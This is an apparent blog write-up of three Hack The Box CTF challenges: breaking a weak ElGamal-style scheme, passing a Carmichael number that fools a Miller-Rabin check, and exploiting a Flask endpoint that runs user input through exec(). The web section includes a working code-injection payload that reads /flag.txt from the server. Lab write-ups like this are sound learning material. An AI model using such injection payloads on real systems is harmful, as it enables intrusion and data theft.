Another great CTF from HTB, this time it started at midnight for me with fresh new challenges each midnight for 5 nights. All the challenges seemed to be of quite high quality and had me thinking hard about the solutions.

This is my solution to the first two crypto challenges and the first web challenge.

#### Gonna-Lift-Em-All - Crypto - 275 points

This challenge reads:

```
Quick, there's a new custom Pokemon in the bush called "The Custom Pokemon". Can
you find out what its weakness is and capture it?
```

The challenge comes with one `data.txt`

file and one python script file called `chall.py`

which contains the code as follows:

```
from Crypto.Util.number import bytes_to_long, getPrime
import random
FLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'
def gen_params():
p = getPrime(1024)
g = random.randint(2, p-2)
x = random.randint(2, p-2)
h = pow(g, x, p)
return (p, g, h), x
def encrypt(pubkey):
p, g, h = pubkey
m = bytes_to_long(FLAG)
y = random.randint(2, p-2)
s = pow(h, y, p)
return (g * y % p, m * s % p)
def main():
pubkey, privkey = gen_params()
c1, c2 = encrypt(pubkey)
with open('data.txt', 'w') as f:
f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')
if __name__ == "__main__":
main()
```

In the `data.txt`

file we have the `pubkey`

parameters `p`

, `g,`

`h`

, and the ciphertext `c1`

, `c2`

```
p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)
```

So overall it seems like our encryption algorithm here takes some public key values, creates two ciphertext components which use modular arithmetic to “disguise” the private key components and plaintext. They do this using **multiplication** though so that is where I think we can attack this.

First I write down what we need to solve for and what we know:

##### Solve these

`c1 = g * y % p`

`c2 = m * s % p`

##### We know these already

`c1`

`c2`

`g`

`p`

##### We need to find

`y`

`s`

`m`

#### Linear Congruences

The first thing to know here is that the `c1 `

and `c2`

equations described above are what are known as linear congruences and are what you might see in math textbooks like this:

`17x ≅ 3 (mod 29)`

If we rewrite our equations like this it makes it easier to digest perhaps:

`gy ≅ c1 (mod p)`

**Tip**: I used this youtube video to clarify how to solve this challenge as it was really clear, so thanks to Jay from Maths with Jay :)

#### Part 1: Recover y

In order to find this y we can start by using the extended Euclidean algorithm to find the multiplicative inverse modulus of `g`

mod `p`

, that is, some number `v`

where:

`gv ≅ 1 (mod p)`

In python this is straightforward and we cans skip a few steps:

```
>>> from Crypto.Util.number import inverse
>>> v = inverse(g, p)
>>> v
120027004247158358184703385511138910446176598283657810928960020555251889532032199706156913358525135228299658796007082082987316875751452608872617761586138905964991747541264336966530405406630206297358091931611374901221899003603216345652222991753618659380928999922962044386202238694636990131574221328099007640482
```

Now we know this number `v`

we can calculate `y`

as it should be:

`y ≅ c1v (mod p)`

```
>>> y = c1 * v % p
>>> y
151545036818752418931716093171030939827729309717327611184964755063685533596024474465903219353892430936128129116061427826165388249908655823309049171719865481058072839169911183783187254412879190149192386989186799988830028288993778261809217410313001568877314905167838867719115514855795015291428405597461040625720
```

We can double check that we got the right answer here by checking that we get `c1`

when we plug our `y`

back into the original equation `c1 = g * y % p`

.

```
>>> check = g * y % p
>>> check == c1
True
```

Yep this checked out, nice!

#### Part 2: Recover S

Now we know `y`

we can recover `s`

as the algorithm is in the `chall.py`

file:

```
>>> s = pow(h,y,p)
>>> s
97462626764574972789405707853736776801131892662685049788888445937335307309802916804770978800211152464507610133907443690200443337122554845143013035673411159832257337734583042568923321169807909583339712803034130755892624097871888129173372595909172265258031320357247928751965375753164262717332601963215413213638
```

#### Part 3: Recover m

This part is very much a repeat of Part 1 since we recovered `y`

in order to recover `s`

in parts 1 and 2. We have pretty much the same equation: `c2 = m * s % p`

To make this simpler to visualize, it helps to flip `m`

and `s`

around: `c2 = s * m % p`

which, written differently, you see is the same thing as part 1:

`sm ≅ c2 (mod p)`

So, as we did in part 1, we find some number `v`

where:

`sv ≅ 1 (mod p)`

In python this is straightforward and we cans skip a few steps:

```
>>> from Crypto.Util.number import inverse
>>> v = inverse(s, p)
>>> v
31346328967915532437069190021834034870416234511102747411963727347528808773951209443402276830477716072945708394322703296371784510296678805269713052825970582951827590069078060945380207673640183443015571912058129616320846896831349884362934154099966370303518207509550815372317213136611174672595234824291719313740
```

Now we know this number `v`

we can calculate `m`

as it should be:

`m ≅ c2v (mod p)`

```
>>> m = c2 * v % p
>>> m
1172386289712688621866206342757024282557431573799768202628558217825308016488998421960879829861191968014842977524818155697111668467803322833848788605649390583219898324267188549415037
```

Which is the flag:

```
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(m)
b'HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}'
```

#### Fast Carmichael - Crypto - 200 points

For this, the second crypto challenge we received a `server.py`

script which was running on the CTF infrastructure. The script looks like this:

```
from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signal
class Handler(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(0)
main(self.request)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def sendMessage(s, msg):
s.send(msg.encode())
def receiveMessage(s, msg):
sendMessage(s, msg)
return s.recv(4096).decode().strip()
def generate_basis(n):
basis = [True] * n
for i in range(3, int(n**0.5) + 1, 2):
if basis[i]:
basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)
return [2] + [i for i in range(3, n, 2) if basis[i]]
def millerRabin(n, b):
basis = generate_basis(300)
if n == 2 or n == 3:
return True
if n % 2 == 0:
return False
r, s = 0, n - 1
while s % 2 == 0:
r += 1
s //= 2
for b in basis:
x = pow(b, s, n)
if x == 1 or x == n - 1:
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
def _isPrime(p):
if p < 1:
return False
if (p.bit_length() <= 600) and (p.bit_length() > 1500):
return False
if not millerRabin(p, 300):
return False
return True
def main(s):
p = receiveMessage(s, "Give p: ")
try:
p = int(p)
except:
sendMessage(s, "Error!")
if _isPrime(p) and not isPrime(p):
sendMessage(s, FLAG)
else:
sendMessage(s, "Conditions not satisfied!")
if __name__ == '__main__':
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
server.serve_forever()
```

So to summarise what I see here is, for each incoming connection we ask the user to send us a prime number. We then check if the number passes a Miller Rabin primality test but fails the Python PyCryptodome primality test.

So a number that is prime, but also not prime? Where do we find those? As it turns out the Miller Rabin primality test is a probabilistic test. That is, it can mistakenly conclude a number is prime under certain conditions. The PyCryptodome test includes the same test but also uses other tests before concluding if a number is prime.

Before researching too far I quickly found a Github repo containing code very similar to the `server.py`

above. In fact it’s a direct duplicate of the code but for a `bases`

value of just `64`

. It leads me to an interesting paper called Prime and Prejudice: Primality Testing Under Adversarial Conditions. After reading this paper I’m a little closer to figuring this out.

The first thing I tried is the code from the aformentioned repo but with `bases`

set to `300`

it never starts computing. I guess it probably would given enough time but I am way too impatient.

I go back to Googling and come across this blog article. It mentions another paper in passing like this:

```
Though the second number N is very striking, the author of [3] has an even
larger example in [2], a 397-digit Carmichael number that is a strong
pseudoprime to all the 62 prime bases under 300!
```

Wow that sounds perfect for us, the paper referenced is “Constructing Carmichael numbers which are strong pseudoprimes to several bases” and in the paper it has the following passage:

```
4.4 LARGE EXAMPLE
The same method has been used with a large set of bases in order to construct the 397-digit
Carmichael number:
n = p1 (313(p1 - 1) + 1)(353(p1 - 1) + 1)
where
p1 = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
which is a strong pseudoprime to all prime bases up to 300.
```

Translating that paper into some quick Python we get our number, and flag:

```
$ cat > win.py
p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
print(n)
^D
$ python ./win.py
2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
$ nc 134.122.106.203 32579
Give p: 2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
HTB{c42m1ch431_num8325_423_fun_p53ud0p21m35}
```

Interesting challenge!

#### Evaluation Deck - Web - 200 points

This challenge reads:

```
A powerful demon has sent one of his ghost generals into our world to ruin
the fun of Halloween. The ghost can only be defeated by luck. Are you lucky
enough to draw the right cards to defeat him and save this Halloween?
```

The challenge comes with all of the web application files and a `Dockerfile`

so you can launch the environment locally and test out ideas. Its a Flask application with a few Python source files.

It took me a bit to find the vulnerability but when I did it didn’t prove too difficult to exploit. Here’s the code containing main issue which is in the `routes.py`

:

```
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
```

Specifically this code section:

```
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
```

What this is doing, is taking three values from a JSON POST request supplied by the user and building a string, which it then `compile()`

s into a Python object which it then executes.

If we look at the user API requests while using the web app, the user provides this request:

```
POST /api/get_health HTTP/1.1
Host: 157.245.42.104:31408
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://157.245.42.104:31408/
Content-Type: application/json
Origin: http://157.245.42.104:31408
Content-Length: 59
Connection: close
{"current_health":"100","attack_power":"22","operator":"+"}
```

And receives this response:

```
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sat, 22 Oct 2022 13:35:44 GMT
Content-Type: application/json
Content-Length: 16
Connection: close
{"message":122}
```

Clearly we see that the web app took our `current_health`

, `attack_power`

and `operator`

and returned that as an integer result. i.e. `100 + 22`

returned `122`

.

#### Exploitation

Referring back to the specific line that’s vulnerable, its clear we want to inject some python code. Second we know we must target the `operator`

field since the other two fields are cast with `int()`

.

Finally we also know that we only receive an integer response so whatever solution needs to leak the flag as an integer. So here’s the idea I came up with:

- Open
`/flag.txt`

, read it as bytes. - Use the built in Python3
`int.from_bytes()`

method to return the big endian integer version of the string. - Set “
`current_health`

” to`0`

- Convert the received “
`message`

” integer back to a string for the flag.

##### JSON Payload

Here’s what I sent as the request, being careful to put a semicolon after our operator payload to prevent syntax error from the `attack_power`

which the server will append to our operation:

```
{
"current_health":"0",
"attack_power":"43",
"operator":"+int.from_bytes(open('/flag.txt','rb').read(),'big');"
}
```

```
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sun, 23 Oct 2022 06:34:31 GMT
Content-Type: application/json
Content-Length: 90
Connection: close
{"message":32715399093214716429448760121842372818350028882199757926917881424671737454973}
```

And in Python, we can convert this back to a string

```
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(32715399093214716429448760121842372818350028882199757926917881424671737454973)
b'HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}'
```

Nice!